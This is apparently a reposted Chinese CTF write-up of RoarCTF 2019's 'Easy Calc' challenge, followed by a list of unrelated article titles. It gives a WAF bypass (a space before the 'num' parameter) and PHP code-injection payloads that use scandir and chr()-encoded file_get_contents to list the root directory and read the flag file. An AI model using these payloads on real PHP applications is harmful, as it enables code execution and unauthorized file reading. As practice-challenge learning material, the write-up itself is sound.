当前位置: 首页 > news >正文

[RoarCTF 2019]Easy Calc1

打开题目

查看源码,看到

看到源代码有 calc.php,构造url打开

看到php审计代码,

由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。 

由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

构造? num=var_dump(scandir(chr(47)))

scandair可以列出指定路径中的文件目录。

得到flag

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
http://www.lryc.cn/news/411719.html

相关文章:

  • 安卓APK安装包arm64-v8a、armeabi-v7a、x86、x86_64有何区别?如何选择?
  • 【AI大模型】通义千问:开启语言模型新篇章与Function Call技术的应用探索
  • 详细教程 MySQL 数据库 下载 安装 连接 环境配置 全面
  • 门控循环单元GRU
  • 程序员修炼之路
  • PHP时间相关函数
  • python进阶——python面向对象
  • 【无标题】vue2鼠标悬停(hover)时切换图片
  • 每天一个数据分析题(四百五十九)- 分析法
  • 英语:十、助动词和情态动词
  • DB2-Db2DefaultValueConverter
  • (自适应手机端)行业协会机构网站模板
  • 视频理解调研笔记 | 2021年前视频动作分类发展脉络
  • 怎么通过 ssh 访问远程设备
  • linux Ubuntu 安装mysql-8.0.39 二进制版本
  • ZooKeeper日志自动清理实用脚本
  • KVM+GFS分布式存储系统构建高可用
  • CIFAR-10 数据集图像分类与可视化
  • 没有了高项!!2024软考下半年软考高级哪个最容易考过?
  • 用户自定义Table API Connector(Sources Sinks)
  • 自闭症儿童能否摘帽?摘帽成功的秘诀揭秘
  • 主题巴巴WordPress主题合辑打包下载+主题巴巴SEO插件
  • git把本地文件上传远程仓库的流程
  • 基于springboot+vue+uniapp的养老院管理系统小程序
  • el-popover实现点击空白区域关闭,弹窗区域不关闭
  • Disjoint Set Union
  • 手写 Hibernate ORM 框架 05-基本效果测试
  • Unity材质球自动遍历所需贴图
  • C++那些事之结构化绑定
  • ECRS工时分析软件:工业工程精益生产的智慧引擎